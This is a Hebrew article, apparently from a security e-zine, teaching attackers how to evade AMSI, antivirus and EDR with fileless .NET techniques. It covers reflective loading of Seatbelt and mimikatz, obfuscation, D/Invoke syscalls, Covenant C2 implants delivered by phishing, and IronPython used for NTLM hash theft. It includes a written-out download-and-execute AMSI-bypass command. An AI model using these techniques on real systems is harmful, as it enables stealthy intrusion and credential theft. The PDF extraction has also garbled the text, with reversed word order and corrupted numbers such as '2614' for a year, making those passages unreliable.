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 הקדמה

על מנת לבצע התקפות ללא קבצים במשך שנים. הדבר  "living-off-the-landתוקפים משתמשים בשיטת "

. תוקף PowerShell, על ידי הזרקת קוד דינמי לזכרון של תהליך של PowerShell-בא לידי ביטוי במיוחד ב

למעשה יכל לחמוק ממנגנוני הגנה בקלות, עד אשר מיקרוסופט פיתחו הגנות אשר נותנות מענה )גם אם 

, Antimalware Scan Interface (AMSI) -שק לסריקת תוכנות זדוניות ממחלקי( להתקפות מהסוג הזה: 

Script Block Logging,Constrained Language Mode   ופיצ'רים נוספים, מקשים על תוקפים כיום גם

 בהתקפות מבוססות סקריפטים. 

לתקיפה. במאמר זה  NET.-הובילו את התוקפים לחפש דרכים אחרות להשתמש ב PowerShell-ההגנות ב

למרות  PowerShell-., איך תוקפים משתמשים בNETנחקור את שיטות התקיפה המגוונות באמצעות 

 ההגנות ואיך מגיעים למחוזות ממש מוזרים ואזוטריים.

 

Reflective C# Assembly loading 

C# Assembly  זהו קובץ הרצה שקומפל לקוד בשםIL (Interemediate language). בזמן ריצה ה-IL Code 

 לפי התרשים הבא: CLR (Common Language Runtime)מתורגם לשפת מכונה על ידי 
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ת מנגנוני ההגנה השונים. ודרכים לעקוף א PowerShell-ראינו כיצד ניתן להריץ סקריפט ב במאמר הקודם

 . PowerShellלזכרון של תהליך של C# Assemblyניתן גם לטעון  PowerShellבאמצעות 

 ?מתבצע הדבר איך

באמצעות הכלי  Base64-ונקודד אותו ב gzipלקובץ הרצה, נדחוס אותו באמצעות  C#לאחר שקימפלנו קוד 

ps1.gzipcompressנשתמש ב ,-Seatbelt :)כלי לאיסוף מידע במחשב( 

 

 הפלט יישמר בקובץ טקסט ונראה כך:

 

נ"ל לטמפלייט הבא:נעתיק את הפלט ה

וטוען את הקובץ באמצעות  gzip decompress, לאחר מכן runtime-ב base64 decodeהסקריפט מבצע 

System.Reflection.Assembly . 

 החלק:

[S34tB3lt.Program]::main(-Command.Split(" "))  

https://www.digitalwhisper.co.il/files/Zines/0x8C/DW140-3-FilelessAttacks.pdf
https://www.digitalwhisper.co.il/files/Zines/0x8C/DW140-3-FilelessAttacks.pdf
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/helpers/gzipcompress.ps1
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/helpers/gzipcompress.ps1
https://github.com/GhostPack/Seatbelt
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 מתייחס לנתונים של קוד המקור טרם הקימפול:

 S34tB3lt - זהו ה-namespace  

 Program - זהו ה-class 

 Main - זוהי הפונקציה 

 וטוענת אותו בזכרון. C# Assemblyשל  byte array-מקבלת את ה ()Assembly.Loadהפונקציה  NET.-ב

 Cobalt Strike-. בC# Assembliesכדי לטעון קבצי  Assemblyמשתמשים בפונקציה  C2 frameworksרוב 

למחשב הנתקף. הפונקציה הזאת שינתה את דרך  NET.להזריק קבצי execute-assembly -משתמשים ב

. NETהפעולה של תוקפים רבים ואחת הסיבות המרכזיות להמשך הפופולריות לשימוש בכלים מבוססי 

 NETעבור 4.8גרסה החל מ NET.-ל AMSIמיקרוסופט הוסיפו את  .Post-exploitation-בשלבי ה

Assemblies .,לפונקציה  יםקוראשבכל פעם  כך שכעת)(Assembly.Load ואות .NET Assembly ל יעבור-

AMSI/Defender טרם ההרצה לבדיקה. 

 הבה ננסה להריץ את הסקריפט:
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, זאת אומרת שיש AMSIוירוס באמצעות -כפי שניתן לראות, הסקריפט זוהה כזדוני ונחסם על ידי האנטי

 אותו על מנת לעקוף את מנגנוני ההגנה:חתימה בקוד שמזוהה בתור קוד זדוני ועלינו לשנות 

 

. seatbelt.exeשל  -Magic-bytesולאחריו ה Method  FromBAsE64Stringהחתימה שמזוהה כזדונית היא

הצלחנו לעקוף את חתימת הקוד  seatbelt.exeעל ידי שרשור המחזורות בתחילת הסטרינג שמייצג את 

 שזוהה כזדוני. 

 הבה נוריד את הקוד הבא:

https://raw.githubusercontent.com/Erez-Goldberg/Reflective-C-Assembly-loading/main/Invoke-

Seatbelt.ps1  

 וננסה להריץ את הסקריפט:

 

Amsiutils משמש לבדיקה ש-AMSI  רץ בתהליך שלPowerShell בצורה תקינה ובעצם באמצעותו האנטי-

. אז למעשה הצלחנו לטעון את (Fileless Attack)וירוס יכול לזהות הזרקות של קוד זדוני שרץ רק בזכרון 

seatbelt  לזכרון ממקור חיצוני ולהריץ אותו, כל זאת כאשרAMSI .רץ ברקע 

https://raw.githubusercontent.com/Erez-Goldberg/Reflective-C-Assembly-loading/main/Invoke-Seatbelt.ps1
https://raw.githubusercontent.com/Erez-Goldberg/Reflective-C-Assembly-loading/main/Invoke-Seatbelt.ps1
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PowerSharpPack  .זהו פרוייקט נפלא שמבוסס בדיוק על הטכניקה הזו ומכיל עשרות כלים התקפיים

? PowerShellלזכרון באמצעות  NET.השאלה היא, איך ניתן להזריק קבצים שלא נכתבו במקור בשפות 

 .Mimikatzלמשל קבצים כמו 

 

Reflective PE-Injection 

 NET. יכול לטעון רק Assembly load (Assembly loadלא יכולים להיטען באמצעות  ++c/c-כלים שנכתבו ב

Assembliesולכן נשתמש ב .)Reflective PE Loader- ב על מנת להזריק קבצים שנכתבו-c/c++  ישירות

הוא אחד הכלים המפורסמים לטכניקה הזאת )חלק מפרוייקט  ReflectivePEInjection-Invokeלזכרון. 

PowerSploit.)  הכלי משתמש בספריות שלkernel32 שלבי התהליך: .זכרוןלטעון את קובץ ההרצה ל 

 על ידי הפקודה: AMSI Bypassדבר ראשון נבצע  .1

iex (new-object 

net.webclient).downloadstring(https://raw.githubusercontent.com/Erez- 

Goldberg/AmsiBypass/main/NewAmsiBypass.ps1)  

מאחר והשם המקורי  Invoke-whatever-ל Invoke-ReflectivePEInjection-נשנה את שם הקובץ מ .2

 :(חתום ונחשב לזדוני )גם אם הקובץ לא באמת קיים

 

 :ThreatCheckכמובן שהקוד עצמו מכיל חתימות נוספות שאפשר לבדוק אותם באמצעות כלים כמו 

  
  

https://github.com/S3cur3Th1sSh1t/PowerSharpPack
https://github.com/S3cur3Th1sSh1t/PowerSharpPack
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
https://github.com/rasta-mouse/ThreatCheck
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כזדוניות. הפלט שנקבל מכיל את הסטרינג שזוהה  Defenderניתן לבדוק אילו חתימות מזוהות על ידי 

 כזדוני:

 

 :AMSIאו לבדוק כנגד 

 

 

 :לזכרון Invoke-whateverנטען את הסקריפט של  .3

 

 mimikatz.exeשל  byte-array-את ה pebytes-נשמור במשתנה  .4
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ששמרנו  mimikatz.exeשל  byte-array-עם ה Invoke-ReflectivePEInjectionנריץ את הפונקציה  .5

 :(pebytes-)במשתנה 

 

 וירוס חוסם אותו.-ורץ בלי שהאנטי PowerShellנטען לזכרון של התהליך של  mimikatzכפי שניתן לראות, 

 ניתן גם להריץ פקודות:

 

 כן:במידה ורוצים להריץ הכל ישר מהזכרון, ניתן לעשות זאת גם 
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 איך הדבר מתבצע?

 נוסיף פונקציה בשםInvoke-NiceLittleKittie  :בתחילת הסקריפט 

 

 

  את הקובץmimikatz.exe נדחוס ב-gzip ונקודד ב-base64 :)כמו שעשינו מקודם( 

 

  בתחתית הסקריפט נוסיף חלק מהסקריפט שהשתמשנו בדוגמא שלseatbelt: 

 

  נוסיף את הפורמטbase64  שלmimikatz ונפצל למחרוזות את ה-Magic bytes. 

 .כן? התשובה היא AMSIכעת נשאל האם ניתן להריץ את הכלי ישר מהזכרון בלי הצורך לעקוף את 
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PowerShell obFUsk8tion 

הסקריפט מכיל חתימות רבות שמזוהות כזדוניות מאחר ונעשה בהן שימוש תדיר על ידי תוקפים, למשל 

במרחב הזכרון הוירטואלי של תהליך מסויים. על מנת  thread, יוצרת CreateRemoteThreadהפונקציה 

 :Obfuscation-Invokeלעקוף את החתימות יש צורך לערבל את הקוד. נשתמש בכלי המעולה 

 

 :set scriptpath( באמצעות הפקודה Obfuscationע בקוד שלו ערבול )נגדיר את הקובץ אשר נרצה לבצ

 

 :stringנבחר באופציה של 

 

  

https://github.com/danielbohannon/Invoke-Obfuscation
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 לאחר מכן נצטרך לערבל גם את המשתנים:

 

 AMSIעם  PowerShellונריץ בתהליך של  ps1.NiceLittleKittieobf-Invokeנשמור את הקוד שעבר ערבול 

 שרץ בצורה תקינה:

 

 . AMSIכך על ידי ערבול הקוד הצלחנו לעקוף את 

יקפיץ התראות ויתגלה על  Invoke-ReflectivePEInjection, השימוש בכלי AMSIגם אם הצלחנו לעקוף את 

 . מדוע?EDRידי מוצרי 

NET.  מבוסס על מכנזים בשם)Invoke Platform( Invoke/P מאפשר לאפליקציות  אשרNET גישה למידע .

-יכול בקלות לעשות שימוש ב C#מפתח  P/Invoke-. על ידי שימוש ב(DLLs)בספריות לא מנוהלות  -APIsו

Windows APIs  הסטנדרטים. תוקפים ניצלו את המכניזם הזה בפיתוח כלים התקפיים. כפי שראינו ניתן

 ישירות לזכרון ללא קבצים. NET Assemblies.בקלות להזריק 

https://raw.githubusercontent.com/Erez-Goldberg/Invoke-NiceLittleKittieObf/main/Invoke-NiceLittleKittieobf.ps1
https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke
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Invoke-ReflectivePEInjection משתמש ב-P/Invoke על מנת לקרוא לפונקציות ב-kernel32:כגון , 

OpenProcess: 

 

VirtualAllocEx: 

 

WriteProcessMemory: 

 

CreateRemoteThread: 

 

 יש שני חסרונות עיקריים: P/Invoke-אולם לשימוש ב

 כל פנייה ל-Windows API  באמצעותP/Invoke יופיע ב-Import Address Table של קובץ.NET 

Assemblyכאשר ..NET Assembly  ה ,נטען-Import Address Table  תעודכן עם הכתובות של

הפונקציות שאליהן יש קריאה. תהליך זה ידוע כסטטי, מאחר והאפליקציה לא צריכה לחפש באופן 

 אקטיבי את הפונקציה לפני הקריאה. 

 

-, אז בkernel32!CreateRemoteThread-לקרוא ל -P/Invokeאם למשל אפליקציה משתמשת ב

Import Address Table אחר תהליךה לאותה פונקציה עם כוונה להזריק קוד לשל הקובץ תהיה הפני 

של קבצי  Import Address Table)התנהגות אשר נחשבת לחשודה מאוד(. מוצרי הגנה בודקים את ה

 הרצה ללמוד על ההתנהגות שלהם ויזהו את ההתנהגות החשודה של הקובץ.

 

 קריאות ל מוצרי הגנה מנטרים-APIs (API Hookingויזהו פניות שנע ) שות דרךP/Invoke.  ישנם סוגים

. במקום להצביע על man-in-the-middle, ניתן לחשוב על זה כסוג של API Hooking-שונים ל

שבו ניתן לבדוק ו/או לבטל  EDR-מופנית למודול הנשלט על ידי ה APIהפונקציה האמיתית, קריאת 

 אותה.

 ?EDRולהתחמק ממוצרי  P/Invokeללא המכניזם של  NET.-האם ניתן להשתמש ב

 



 
 

 NET. -חתול ועכבר בעידן ה
www.DigitalWhisper.co.il 

 12  2022 אוגוסט ,142גליון 
 

DInvoke 

 P/Invoke-, אז במקום להשתמש בSingle Point of Failure-נחשב כ P/Invoke-מבחינה התקפית שימוש ב

בזמן הרצה וקוראים  לזכרון באופן ידני DLLשבהן רוצים להשתמש, טוענים  API-כדי לייבא את קריאות ה

 לכתובת שלה בזכרון. pointer-לפונקציה תוך שימוש ב

של  AmsiBypassתוקפים החלו להשתמש בשיטות לטעינה דינמית מאשר טעינה סטטית. למשל טכניקת 

rasta-mouseמשתמשת ב ,-P/Invoke: 

 

 :SyscallAmsiScanBufferBypassבטכניקת  Invoke/Dלעומת שימוש בשיטת 

 

(, אז תוקפים עקפו OpenProcess)למשל  kernel32-רק לפונקציות ב Hookingבתחילה מוצרי הגנה עשו 

גם על  Hooking(. לכן החלו לבצע NtOpenProcess)למשל  ntdllאת זה על ידי קריאה ישירה לפונקציות ב

 .ntdll-פונקציות ב

 מה התוקפים יכולים לעשות?

  

https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs
https://github.com/S3cur3Th1sSh1t/SyscallAmsiScanBufferBypass
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Syscalls 

Syscall  זהו האמצעי שבאמצעותו עוברntdll .לפרק" את אנו יכולים  לקרנל"NtOpenProcess ב-windbg  

 :בקלות כדי לראות את ההוראות

 

 APIעבור  syscallמהדיסק ותמצא את  ntdllשתקרא  GetSyscallStubיש שיטה מצוינת בשם  D/Invoke-ל

 :של API Trace-זהו ה ,הדגמה לשם נתון.

 OpenProcess/ VirtualAllocEx / WriteProcessMemory / CreateRemoteThread 

 (:Monitor API)באמצעות  

 

GetSyscallStub  של חדש ממפה עותקntdll.dll  ומעתיק את הבייטים שלwrapper syscall  מהעותק

 :SyscallAmsiScanBufferBypass-, כפי שניתן לראות בsyscallsלביצוע ישיר של  משתמשים בזה. החדש

 

Invoke/D  התווסף גם לפרוייקטSharpSploit - סט כלים התקפיים שנכתבו ב-#C  להפוך את שנועדו

לאחר קימפול הכלי  .Post Exploitation-עבור צוותי תקיפה בשלבי ה תקפי לקל יותרכה NET.-השימוש ב

SyscallAmsiScanBufferBypass :ננסה להריץ את הקובץ 

 

על מנת לעקוף  לאחר זמן קצר. מאחר וכלים שמתפרסמים נחתמים על ידי מוצרי הגנה הכלי מזוהה כזדוני

 ד.את החתימות יש צורך לבצע ערבול בקו

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools
http://www.rohitab.com/apimonitor
https://github.com/S3cur3Th1sSh1t/SyscallAmsiScanBufferBypass
https://github.com/cobbr/SharpSploit
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.NET Obfuscation 

בנוסף לעקיפת מוצרי אבטחה מבוססי חתימות, ערבול הקוד נחוץ גם על מנת להקשות על חוקרים לחקור 

לקוד המקור  decompiling , קל לבצעIL-לא מתקמפלת לקוד מכונה אלא ל NET. את הכלי. מאחר ושפת

 :NET.ישנם כלים רבים שמערבלים  למשל(. dnspy debugger)באמצעות 

https://github.com/NotPrab/.NET-Obfuscator 

 :RosFuscatorנשתמש בכלי 

 

 לאחר הערבול, נבצע מספר התאמות בקוד, נקמפל ונריץ שוב: 

 

וירוס. הכלי מבצע ערבול של -והאנטי AMSIכפי שניתן לראות, לאחר הערבול, הכלי לא זוהה כזדוני על ידי 

 . מבנה הפקודה:roslynסטרינגים בקוד המקור באמצעות 

 Patch - זהו ה-Namespace שרשום בקוד המקור 

 _364b7535cb3e415db93d0f9f26865037 - זהו ה-class .בקוד המקור לאחר הערבול 

 _cba0ebcb9d854b36b937ebfee1be48f7 - .זה שם הפונקציה החדש לאחר הערבול 

 

https://github.com/NotPrab/.NET-Obfuscator
https://github.com/Flangvik/RosFuscator
https://github.com/dotnet/roslyn
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 PowerShell-התוקפים מעדיפים לרדת שכבה אחת נמוכה יותר מ NET.מבוסס על  PowerShell-מאחר ו

 לשפות PowerShell-. עבור תוקפים המעבר מPowershellללא הצורך להתמודד עם חלק מההגנות של 

.NET  למשל(#C.הוא קל ) 

והקוד צריך בסופו של דבר לעבור קומפילציה.  PowerShellהיא לא שפת סקריפטינג כמו  Cאולם #

הנתקף. בטווח הארוך המשמעות של זה היא שהתוקף צריך לקמפל את הכלים שלו ולהעביר למחשב 

 מדובר בהשקעת זמן גדולה והתהליך יכול להפוך למסורבל.

 האם ניתן להפוך את תהליך הקימפול לאוטומטי לחלוטין?

 

Modern Offensive .NET Tradecraft 

 :Covenant בשם .Framwork 2C NETפותח  C#-על מנת לתת מענה לתהליך אוטומטי לקימפול כלים ב

 

 פיצ'רים עיקריים:

 ממשק אינטואיטיבי 

 Cross-platform 

 .מותאם לשימוש מספר משתמשים במקביל 

  מתבסס על  -קומפילציה דינמיתRoslyn API # לקמפלC .באופן דינמי 

 Inline C# Execution - execute C# one-liners on Grunt implants  

 התאמה אישית למשימות ופרופילים 

https://github.com/cobbr/Covenant
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 תהליך ההתקנה הוא קל ופשוט:

 .3.1מותקן בגרסה  NET Core של SDK-לוודא שה .1

 הרצת הפקודות הבאות בטרמינל: .2

git clone --recurse-submodules https://github.com/cobbr/Covenant 

cd Covenant/Covenant 

dotnet run 
 

 https://127.0.0.1:7443 גלישה לכתובת .3

 הגדרת משתמש: .4

 

 :Listenerלאחר מכן נגדיר 
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 (:Binary)נבחר באופציה של  Lanucherנגדיר  Listenerלאחר שהגדרנו 

 

 launcher-מאופציות המשמש ליצירת קבצים בינאריים מותאמים אישית והוא אחד  Binary Launcher-ה

 :נפתחת Binary Launcher-, תצורת הBinary-הקלים יותר לשימוש. ברגע שנלחץ על ה

 

-מקמפל את ה Covenantואז  Generateיעבוד, נלחץ על  launcher-לאחר שהגדרנו איך נרצה שה

launcher  .עם ההגדרות שלנו 
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 :Host-ב Url-כ lanucher-ניתן להוריד את הקובץ או לחלופין ניתן להגדיר את ה

 

 במחשב הנתקף: ונריץ אותולצורך ההדגמה נוריד את הקובץ 

 

 פעולה זו תתן לתוקף גישה למחשב הנתקף: בתרחיש אמיתי זה יתבצע באמצעות פישינג.

 

 ונוכל למעשה להריץ מודולים ופקודות מרחוק.
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 נוכל לראות את רשימת המודולים: helpבאמצעות הפקודה 

 

 בצורה קלה ומהירה: mimikatzניתן להריץ 

 

 ופקודות:

 

 .GhostPack-ו SharpSploit מודולים אשר מבוססים בעיקר על 66יש מעל  Covenant-ל

https://github.com/GhostPack
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Covenant  ישירות על מארח ה שומר את המודוליםלא-Grunt  ,שלנו. במקום זאתCovenant מבצע 

המשימות. בכל פעם שנוצר  הרצתעל חיבור הלקוח שלו בזמן ושולח את המודול קומפילציה באופן דינמי 

Grunt  עם  ועובר ערבולחדש או משימה חדשה מוקצית, הקוד הרלוונטי נערך מחדשConfuserEx , כדי

 .סטטי payload-להימנע מ

SharpShell  זהו מודול מעניין אשר מאפשר להשתמש בפונקציות שלSharpSploit  או ספריות מובנות של

.NET Framework . 

 אפשר להריץ פקודות בהתאמה אישית תוך כדי ריצה: SharpShellבאמצעות 

 

 Assembly, נוכל להשתמש בפקודה Covenantבמידה ונרצה להשתמש בכלי שלא נמצא במודולים של 

לאחר שקימפלנו את הכלי,  לצורך ההדגמה. SharpClipboardנשתמש בכלי  .assemblies Netלטעון קבצי 

 נטען אותו למחשב הנתקף:

 

 

  

https://github.com/slyd0g/SharpClipboard
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 יש פיצ'ר מעולה אשר מארגן את התוצאות וההיסטוריה של המשימות: Covenant-ל

 

וירוס. על מנת לעקוף את החסימה יש צורך -פורסם הוא החל להיחסם על ידי האנטי Covenant-לאחר ש

 לשנות את קוד המקור, ניתן לקרוא זאת במאמר:

https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks  

.NET  לנו היא פלטפורמת פיתוח עצמאית לשפה המורכבת מסט של כלים, תשתית וספריות המאפשרות

 .ליצור יישומים חוצי פלטפורמות

היא רק השפה לאינטרקציה עם הפלטפורמה  C, אולם #NET- #C.-יש נטייה לשייך שפת תכנות אחת ל

לכתוב שפת תכנות  לנומספקת מאפשרים  NET.-חלקים מהתשתית והכלים שולא הפלטפורמה עצמה. 

היא עצמאית בשפה, היא לא קשורה  NET.כדי ליצור איתה אינטראקציה. זה דבר חשוב ביותר להבנה: 

 לשפת תכנות ספציפית.

 ?NET.זה מוביל אותנו לשאלה, מה עוד ניתן לעשות מבחינה התקפית באמצעות 

 

Bring Your Own Interpreter 

רבות, חלקן נתמכות רשמית על ידי מיקרוסופט ואחרות שפותחו על ידי צד שלישי.  NET.קיימות עוד שפות 

המשמעות היא שכל השפות הללו שנבנות על אותה פלטפורמה בסיסית היא שכולן יכולות לעבוד זו בזו 

אנו יכולים להשתמש בשפות  אחרת. NET.בדרכים קלות במיוחד להטמעה של שפה אחת בתוך שפת 

.NET צד שלישי באותו אופן שבו השתמשנו ב סקריפטינג-PowerShell כל שעלינו לעשות הוא להטמיע .

 (. PowerShellאו  C)כגון # Windows-אשר קיימת כברירת מחדל ב NET.שפה כזאת בשפת 

 p0wnedShellלמען האמת, כנראה השתמשת בכלים שעושים את זה אפילו בלי לדעת את זה. כלים כמו 

 Nativeמבלי לעבור דרך PowerShell על מנת להריץ קוד Cבתוך # PowerShell Runtimeמטמיעים 

PowerShell # במערכת ההפעלה. ישנם גם כלים שעושים את ההפך ומטמיעיםC בתוך-PowerShell.  מה

 .PowerShellשאנחנו יכולים לעשות זה להטמיע שפות סקריפטים צד שלישי בתוך 

  

https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks
https://github.com/Cn33liz/p0wnedShell
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זהו יישום של פייתון על בסיס  ironpythonכל אחת מן השפות מגיעה עם סט ייחודי משלה. למשל 

צד שלישי לא מותקנות כברירת  NET.מאחר ושפות  (.C)בניגוד לפייתון שמבוסס על  NET.פלטפורמת 

 מחדל, ישנם מספר דרישות מקדימות על מנת להריץ אותן:

 יש צורך במספר(.NET Assemblies)  DLL .שלהם 

  את אותםDLLים צריך לטעון לפני ההרצה של ה-Interpreter. 

  בעזרת הפונקציהAssembly.Load()ניתן להטעין את ה ,-DLL ים ישר לזכרון(Fileless). 

Internal-על מנת להריץ את הכלי  OffensiveDLRמפרוייקט  IronPython-כך ניתן להשתמש ב

Monologue  באמצעותPowerShell : 

 

 NTLM-, הצלחנו להשיג את הPowerShellישירות לזכרון התהליך של  Invoke-IronPythonעל ידי הזרקת 

Hash  באמצעות הכליInternal-Monologue. על מנת להריץIronPython   4נדרשים .NET assemblies: 

 IronPython.dll 

 IronPthon.Module.dll 

 Microsoft.Scripting.dll 

 Microsoft.Dynamic.dll 

 :Invoke-IronPython.ps1ניתן לראות את זה בסקריפט של 

 

https://ironpython.net/
https://github.com/byt3bl33d3r/OffensiveDLR
https://github.com/eladshamir/Internal-Monologue
https://github.com/eladshamir/Internal-Monologue
https://github.com/eladshamir/Internal-Monologue
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 נוספות: NET.שפות 

 https://github.com/boo-lang/boo - Boolang 

 https://github.com/PetroProtsyk/SSharp  

 https://github.com/IronLanguages/ironruby - Ruby 

 https://github.com/IronLanguages/ironpython3 - Python3 

 https://github.com/microsoft/ClearScript - JScript, VBScript & JavaScript 

 https://github.com/NLua/NLua - Lua 

 https://github.com/RyanLamansky/dotnet-webassembly - WebAssembly 

 https://github.com/sebastienros/jint - JavaScript 

 https://docs.microsoft.com/en-us/dotnet/fsharp/what-is-fsharp - F# 

הרעיון הוא שככל שתשתמש  .SILENTTRINITY :מעניין בשם Framework C2 על בסיס נושא זה פותח

שתוקפים טרם  -NET.מחוזות בהאם יש עוד  בדברים פחות נפוצים ומוכרים כך הסיכוי שתתגלה יקטן.

 הסתערו עליו?

 

.NET Core for malware 

.NET Framework  זוהי הפלטפורמה המקורית של מיקרוסופט שיועדה רק עבורWindows. 2614-ב 

-ב .macOS-על מנת לתמוך במערכות הפעלה נוספות כולל לינוקס ו NET Core.מיקרוסופט הכריזה על 

 NET Core.כגרסה האחרונה, ולמעשה  NET Framework.של  4.8מיקרוסופט הוציאה את הגרסה  2619

 (NET Core.הוא כבר  5גרסה  NET.) NET Framework.מחליף את 

 

 NET Core.הוא  NET.המשמעות היא שהעתיד של 

https://github.com/boo-lang/boo
https://github.com/PetroProtsyk/SSharp
https://github.com/IronLanguages/ironruby
https://github.com/IronLanguages/ironpython3
https://github.com/microsoft/ClearScript-
https://github.com/NLua/NLua
https://github.com/RyanLamansky/dotnet-webassembly
https://github.com/sebastienros/jint
https://docs.microsoft.com/en-us/dotnet/fsharp/what-is-fsharp
https://github.com/byt3bl33d3r/SILENTTRINITY
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.NET Core Malware  זהו קונספט חדש יחסית, המחקר סביב הנושא ההתקפי של.NET Core  הוא מועט

 למשל:

 CoreSploit -  זהוExploitation Framework-Post  עבור.NET Core  אשר מבוסס עלSharpSploit. 

 evasion-defense-bypass-awl-for-vector-a-oreC-otnetD - מאמר בנושאhitelisting WApplication 

Bypass באמצעות dotnet core.  

על מנת שתהיה תאימות  NET Framework.ים על ים שמבוססmalwareבפרספקטיבה של תוקף, עבור 

לעומת זאת,  NET Core.-(. ב2667-)להיות תקוע ב APIsזה אומר להיות מוגבל מבחינת  3.5לאחור לגרסה 

 NET.כאשר  NET Core Malware.האם ניתן להריץ  .Malware-הכי עדכניים עבור ה APIs-ניתן להשתמש ב

Core כןהתשובה היא  מותקן? לא! 

CoreRT 

CoreRT  זהוruntime Core NET. ניסיוני שמבצע קומפילציה מראש לקוד מכונה מ-IL ולכן אין צורך ,

לא מותקן, זה לא מהווה  NET Core.אך מבחינת תוקף גם אם  NET.-. זהו יישום מוזר לruntime (CLR)ב

 וני, חיוני לבדוק את היישום מראש, ייתכן וחלק מן הקוד לא יעבוד.מכשול. מאחר וזה ניסי

 ?Living off the landמה לגבי 

PublishSingleFile 

Living off the land  הינו קונספט חשוב המבוסס על הגישה של שימוש בטכנולוגיות שמותקנות במחשב

גרסה  NET Core.הינו פיצ'ר שהתווסף החל מ PublishSingleFile הנתקף וניצול שלהן למטרות זדוניות.

הנחוצים לקובץ הרצה יחיד  dependencies-יחד עם כל ה NET Assembly.. באמצעותו ניתן לקמפל 3.6

(unmanaged PE)למעשה כל ה .-CLR  .התהליך מוטמע בקובץ ההרצה, כתוצאה מכך נוצר קובץ גדול

 נראה כך:

 

  

https://github.com/checkymander/CoreSploit
https://github.com/checkymander/CoreSploit
https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/
https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/
https://github.com/dotnet/corert
https://github.com/dotnet/corert
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 :#C-לצורך ההדגמה נכתוב קוד קצר ב

 

 :dotnet.exe publishנקמפל אותו באמצעות הפקודה 

 

בתיקייה  בפקודה עצמה חייבים לציין את סוג מערכת ההפעלה כי קובץ ההרצה יתקמפל בהתאם לסוג.

 נמצא את קובץ ההרצה לאחר הקימפול:

 

 CoreCLR-הסיבה לכך שכל ה ( בהתחשב בכך שהקוד מאוד קצר.!MB66 הקובץ הוא מאוד גדול )מעל

לא מותקן. בזמן ההרצה, הקובץ  NET Core.מוטמע בתוך הקובץ, וכתוצאה מכך הקובץ יכול לרוץ גם אם 

Unamanaged PE יאתחל את ה-CoreCLR אשר יטען את ה-.NET Assembly וימיר את ה-IL Code  לקוד

 מכונה:

 

  :בקובץ CoreCLR-שלא להטמיע את כלנוכל לבחור 

 

 לגודל רגיל:גודל הקובץ יתקמפל ואז 

 

 מה אפשר לעשות בנוגע לבעיית גודל הקובץ, אשר יכול להיות בעייתי בתרחישי תקיפה מסויימים? 

 פתרונות ידועים: 2ישנם 

1. ILLINKER -  פיצ'ר שיכול להסיר(trim) פונקציונאליות מה-Runtime  שאין בהם צורך. לקומייפלר אין

 אתם צריכים או לא. הפקודה תראה כך: dependenciesבאמת דרך לדעת איזה 

 

 וגודל הקובץ יירד משמעותית:
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 הניסיוני: CoreRT-נשתמש ב .2

 

 וגודל הקובץ יהיה קטן:

 

 באופן קיצוני: Core  .NETולהקטין אותו באמצעות #C-במאמר מעניין, הראו איך אפשר לקחת משחק ב

https://medium.com/@MStrehovsky/building-a-self-contained-game-in-c-under-8-kilobytes-

74c3cf60ea04 

 כיצד ניתן להתגונן?

 

  NET Core.על  הגנות

אך לא כל התוקפים יעשו כך וחלק מן  AMSI. נכון שניתן לעקוף את AMSIיש אינטגרציה עם  3.6מגרסה 

 AMSIטכניקות עקיפה של  , כך שזה מוסיף עוד שכבת הגנה.AMSIהטכניקות עדיין יכולות להיחסם על ידי 

 :NET Framework.-ב AMSIזהות לטכניקות עקיפה של  NET Core.-ב

https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Evasion/Amsi.cs  

 ETWמשמעותו פחות חתימות. malwares .NET Coreמבוסס על חתימות, מספר מועט של  AMSIבנוסף, 

(Event Tracing for Windows) in .NET 5 .ETW זהו מכניזם למעקב ורישום לוגים מאפליקציות ב-user 

mode  ודרייברים(kernel mode). ETW  ייצור לוג עבור כלAssembly Namespace  שרץ, זהו מידע בעל

 :NET Framework.-זהה לטכניקת המעקף ב NET Core.-ב ETWגם כאן שיטת המעקף של  ערך להגנה.

 

 PublishSingleFileמעבר לכך, האם ישנה אפשרות בתהליך אוטומאטי להבחין בהבדלים בין קבצי 

executables  לבין קבציPE  רגילים? אם התשובה היא כן, נוכל לקחת את זה שלב אחד קדימה ולזהות את

 ולנתח אותם. PublishSingleFile executablesשמוטמעים בתוך קבצי  NET Assemblies.-ה

  

https://medium.com/@MStrehovsky/building-a-self-contained-game-in-c-under-8-kilobytes-74c3cf60ea04
https://medium.com/@MStrehovsky/building-a-self-contained-game-in-c-under-8-kilobytes-74c3cf60ea04
https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Evasion/Amsi.cs
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 סיכום

PowerShell  הייתה פלטפורמת תקיפה מועדפת במשך שנים על ידי תוקפים עקב יכולות הזרקת קוד דינמי

פיתחו הגנות, תוקפים עשו מה שציפינו מהם ועברו  . לאחר שמיקרוסופטUserMode-מרחוק לזכרון ב

למגוון גדול של במעבר מהיר מספר שנים קדימה רבים מאיתנו רגילים  NET..-להשתמש בדרכים אחרות ב

 NET.-ב Frameworks-כלי תקיפה ו

לשימוש שלנו, והמנוע האחראי  להם כעת חלק מהארסנ SharpHound, כמו גם GhostPackכלים כמו 

 .execute-assemblyבאמצעות Cobalt Strike הוא בדרך כלל  שלהם

, עם הזמן נוספו יכולות הגנה על ידי מיקרוסופט ומוצרי אבטחה על מנת לעזור PowerShellבדיוק כמו עם 

(. אחד 4.8שהוצג בגרסה  AMSI)למשל  NET.להפחית את הנקודות העיוורות בטכניקות תקיפה באמצעות 

 האתגרים כתוקף היה המשך השימוש בטכנולוגיה הזו תוך שאיפה להיות חשאי ולעקוף מנגנוני הגנה. 

הפכו את התקיפה למאתגרת יותר, אך לא בלתי אפשרית. תוקפים משתמשים  PowerShell-ההגנות ב

 למרות ההגנות.  PowerShell-בדרכים יצירתיות להשתמש עדיין ב

.NET  זוהי הפלטפורמה המועדפת לפיתוח אפליקציות בווינדוס ומספקת גישה למגוון רחב שלAPIs :.NET 

